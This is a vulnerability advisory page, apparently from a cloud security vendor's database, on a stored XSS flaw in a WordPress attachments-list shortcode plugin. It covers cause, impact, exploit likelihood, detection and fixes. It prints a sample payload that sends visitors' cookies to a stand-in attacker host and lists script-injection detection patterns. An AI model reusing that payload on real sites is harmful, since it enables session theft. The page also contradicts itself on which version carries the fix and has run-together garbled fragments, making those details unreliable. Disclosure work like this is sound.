
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-12717 is a Stored Cross-Site Scripting (XSS) vulnerability in the List Attachments Shortcode plugin for WordPress. It affects all versions up to and including 0.4.1a, and was disclosed on December 6, 2025. The flaw allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts via the before_list parameter in the [list-attachments] shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is insufficient input sanitization and output escaping of the before_list shortcode parameter, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated user with at least Author-level privileges can craft a [list-attachments before_list="<script>...</script>"] shortcode and embed it in a post or page. When any site visitor loads the affected page, the injected script executes in their browser context. The fix was introduced in version 0.6a, where the parameter is properly sanitized at lines 47 and 85 of class-list-attachments-shortcode.php (Wordfence, WordPress Trac).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any user who visits an injected page, impacting confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page defacement, malicious redirects). Because the payload is stored server-side, every subsequent visitor is affected without any further attacker interaction. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to all site visitors, though availability is not directly affected (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12717. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at the Author level or above, which limits the attacker pool. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).
[list-attachments] shortcode can be used.before_list parameter containing a JavaScript payload, e.g., [list-attachments before_list="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].wp-admin/post.php or the REST API containing before_list parameters with HTML tags or JavaScript (<script>, onerror=, javascript:, etc.).wp_posts table where post content includes [list-attachments before_list="<script> or similar encoded payloads.[list-attachments] shortcode.Update the List Attachments Shortcode plugin to version 0.4.2 or later (the fix was implemented in 0.6a), which properly sanitizes and escapes the before_list parameter (Wordfence, WordPress Trac). As a temporary workaround, restrict Author-level and above accounts to trusted users only, or disable the plugin until patching is possible. Site administrators should also review existing posts and pages for any suspicious [list-attachments] shortcode usage with unexpected before_list values.
The vulnerability was discovered and reported by Wordfence, which assigned the CVE and published the advisory on December 6, 2025. No significant broader media coverage or notable community discussion has been identified beyond standard vulnerability database aggregation (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."